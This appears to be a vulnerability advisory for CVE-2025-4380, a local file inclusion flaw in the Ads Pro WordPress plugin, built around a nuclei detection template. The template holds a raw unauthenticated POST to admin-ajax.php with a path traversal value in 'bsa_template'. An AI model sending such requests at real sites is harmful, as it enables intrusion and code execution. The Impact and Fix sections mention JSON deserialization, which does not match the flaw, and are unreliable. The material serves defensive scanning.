CVE-2025-4380· scripteo / ads pro· CWE-98
Ads Pro Plugin <= 4.89 - Local File Inclusion
The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.89 via the 'bsa_template' parameter of the `bsa_preview_callback` function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases .php files can can be uploaded and included, or already exist on the site.
Impact
Successful exploitation could allow an attacker to execute arbitrary code on the affected system through deserialization of malicious JSON payloads.
Fix
Update the Ads Pro Plugin to version later than 4.89. Alternatively, disable polymorphic type handling or implement proper input validation and deserialization controls.
How to confirm it
Send: POST /wp-admin/admin-ajax.php
Positive when: contains(body, 'Example PHP Ad') and contains(content_type, 'text/html') and status_code == 200Run it with nuclei: nuclei -id CVE-2025-4380 -u <target>
The full check
id: CVE-2025-4380
info:
name: Ads Pro Plugin <= 4.89 - Local File Inclusion
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.89 via the 'bsa_template' parameter of the `bsa_preview_callback` function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases .php files can can be uploaded and included, or already exist on the site.
impact: |
Successful exploitation could allow an attacker to execute arbitrary code on the affected system through deserialization of malicious JSON payloads.
remediation: |
Update the Ads Pro Plugin to version later than 4.89. Alternatively, disable polymorphic type handling or implement proper input validation and deserialization controls.
reference:
- https://wpscan.com/vulnerability/63964564-73e6-45e2-8145-33e2e30d1d57/
- https://nvd.nist.gov/vuln/detail/CVE-2025-4380
classification:
epss-score: 0.42517
epss-percentile: 0.98717
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-4380
cwe-id: CWE-98
cpe: cpe:2.3:a:scripteo:ads_pro:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: scripteo
product: ads_pro
fofa-query: body="/wp-content/plugins/ap-plugin-scripteo"
tags: cve,cve2025,wp,wordpress,wp-plugin,lfi,scripteo,ads-pro,vuln
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=bsa_preview_callback&bsa_template=../php/example
matchers:
- type: dsl
dsl:
- "contains(body, 'Example PHP Ad')"
- "contains(content_type, 'text/html')"
- "status_code == 200"
condition: andReferences
- https://wpscan.com/vulnerability/63964564-73e6-45e2-8145-33e2e30d1d57/
- https://nvd.nist.gov/vuln/detail/CVE-2025-4380
Use this check only on systems you are authorised to test. Where the data comes from